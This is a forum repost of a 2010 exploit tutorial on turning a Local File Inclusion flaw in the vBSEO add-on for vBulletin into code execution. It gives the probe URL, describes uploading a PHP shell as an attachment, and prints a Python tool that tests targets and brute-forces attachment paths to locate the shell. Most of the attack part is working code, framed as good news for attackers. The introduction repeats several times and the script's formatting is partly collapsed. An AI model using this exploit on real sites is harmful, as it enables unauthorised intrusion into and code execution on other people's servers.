Jump to content
Flubber

vBulletin – Not So Secure Anymore

Recommended Posts

Kinda old. 3rd August 2010

Some time ago, an LFI vulnerability within vBSEO was discovered, which allowed an attacker to include locally hosted files. The challenge, when confronted with an LFI vulnerability, is to leverage it into executing arbitrary code of our choosing.

Many vBulletin installations are using this addon to improve their SEO drastically, however many of them are not fully patched which is good for us, but very bad for those that host a vulnerable web application.

vBulletin – Not So Secure Anymore

3rd August 2010 - by MaXe Tags: Exploit, WebApps

Some time ago, an LFI vulnerability within vBSEO was discovered, which allowed an attacker to include locally hosted files. The challenge, when confronted with an LFI vulnerability, is to leverage it into executing arbitrary code of our choosing.

Many vBulletin installations are using this addon to improve their SEO drastically, however many of them are not fully patched which is good for us, but very bad for those that host a vulnerable web application.

vbulletin-1.png

In many cases, it is not piece of cake to exploit LFI, aka Local File Inclusion, vulnerabilities due to the fact it may not be easy to upload content to the target server. In some scenarios, it is possible to inject PHP code into access logs and in others, it is possible to include binary MySQL files. It should be noted though, that it is usually impossible to always know where these files are stored.

Of course, we can guess where these files are stored, but we may still not be sure how the server is configured and if this approach will work.

Reconnaissance

First, we need to determine whether our target is vulnerable or not. This can be done by requesting to include a local script in the following manner:

http://our-target.tld/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html

vBulletin – Not So Secure Anymore

3rd August 2010 - by MaXe Tags: Exploit, WebApps

Some time ago, an LFI vulnerability within vBSEO was discovered, which allowed an attacker to include locally hosted files. The challenge, when confronted with an LFI vulnerability, is to leverage it into executing arbitrary code of our choosing.

Many vBulletin installations are using this addon to improve their SEO drastically, however many of them are not fully patched which is good for us, but very bad for those that host a vulnerable web application.

vbulletin-1.png

In many cases, it is not piece of cake to exploit LFI, aka Local File Inclusion, vulnerabilities due to the fact it may not be easy to upload content to the target server. In some scenarios, it is possible to inject PHP code into access logs and in others, it is possible to include binary MySQL files. It should be noted though, that it is usually impossible to always know where these files are stored.

Of course, we can guess where these files are stored, but we may still not be sure how the server is configured and if this approach will work.

Reconnaissance

First, we need to determine whether our target is vulnerable or not. This can be done by requesting to include a local script in the following manner:

http://our-target.tld/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html

vbseo-lfi.png

Please note that some installations may appear to be vulnerable even though they’re not.

From our basic check above, we would like to test whether our target really is vulnerable to Local File Inclusions. We do this by creating a small txt file with ‘phpinfo()’ in it which we will upload to our target via the attachment manager. Some vBulletin installations store attachments locally, which can be abused in this case to include a shell or similar malicious code IF we know the physical location of our file and if there’s a vulnerability which allows us to do that.

Exploitation

In order to find the physical location of our uploaded file we need to find the attachment directory and scan through the subdirectories. I’ve created a small tool for this task, which is far from complete but it does work on some hosts. You can get the basic version is as follows:


#!/usr/bin/python

# ______ __ __ __ __ ______
# /\__ _\ /\ \__ /\ \/\ \ /'__`\/\__ _\
# \/_/\ \/ ___\ \ ,_\ __ _ __\ \ `\\ \/\ \/\ \/_/\ \/
# \ \ \ /' _ `\ \ \/ /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
# \_\ \__/\ \/\ \ \ \_/\ __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
# /\_____\ \_\ \_\ \__\ \____\\ \_\ \ \_\ \_\ \____/ \ \_\
# \/_____/\/_/\/_/\/__/\/____/ \/_/ \/_/\/_/\/___/ \/_/
# --------------------------------------------------------
# Title: vBSEO LFI Assistant Tool
# Author: MaXe
# Site: http://www.intern0t.net
#
# Description: 1) Checks whether the vBSEO installation
# is patched or not. 2) Attempts to find
# the physical location of an uploaded
# attachment phile. (PHP Shell)
#
# Version: 2.1.4 - Reversed Algorithm - Basic Version
#
# License: -- Attribution-ShareAlike 3.0 Unported --
# http://creativecommons.org/licenses/by-sa/3.0/
#
# Notes: The basic version does not contain multi-
# threading nor is it able to search through
# multiple sub directories which the advanced
# version will be able to.
# Please note, that this tool does not work on
# all types of hosts and you should therefore
# modify this script to your own needs.
#
# Disclaimer: This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "
[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">> The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Search for attachment directories
for value in main_dir[0:]:
conn = httplib.HTTPConnection(newtarget, 80)
print "
[*] Trying: http://%s/%s/" % (newtarget,value)
conn.request("HEAD", "/%s/" % value)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % value

if poss_main_dir == []:
poss_main_dir = ["%s" % value]
else:
poss_main_dir += ["%s" % value]

conn.close()

if poss_main_dir == []:
print "[!] No directories were found, exiting."
sys.exit()

# Search for possible sub directories
for value in poss_main_dir:

i = 0
print "
[*] Trying subdirs within: http://%s/%s/" % (newtarget,value)
while i <= 9: conn = httplib.HTTPConnection(newtarget, 80) conn.request("HEAD", "/%s/%s/" % (value,i)) resp = conn.getresponse() if resp.status == 403: print "[+] Sub Directory found: /%s/%s/" % (value,i) found = "%s/%s" % (value,i) if sub_dir == []: sub_dir = ["%s" % found] else: sub_dir += ["%s" % found] i=i+1 conn.close() if sub_dir == []: print "[!] No sub directories were found, exiting." sys.exit() # Search all the sub directories found for our phile for value in sub_dir[0:]: i = 99 print "
[*] Trying to find our file within: /%s/" % value while i >= 0:
conn = httplib.HTTPConnection(newtarget, 80)
conn.request("GET", "/%s/%s.attach" % (value,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match

if re.search("(%s)" % file_match, resp.read()):
print ">> File contains our keyword!"
print "Part URL: /%s/%s.attach" % (value,i)
print "Full URL: http://" + newtarget + "/%s/%s.attach \n" % (value,i)
sys.exit(0)

i=i-1
conn.close()

# Don't forget, that this script can be used for more than one thing.

Sursa: vBulletin – Not So Secure Anymore

Autor: MaXe

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...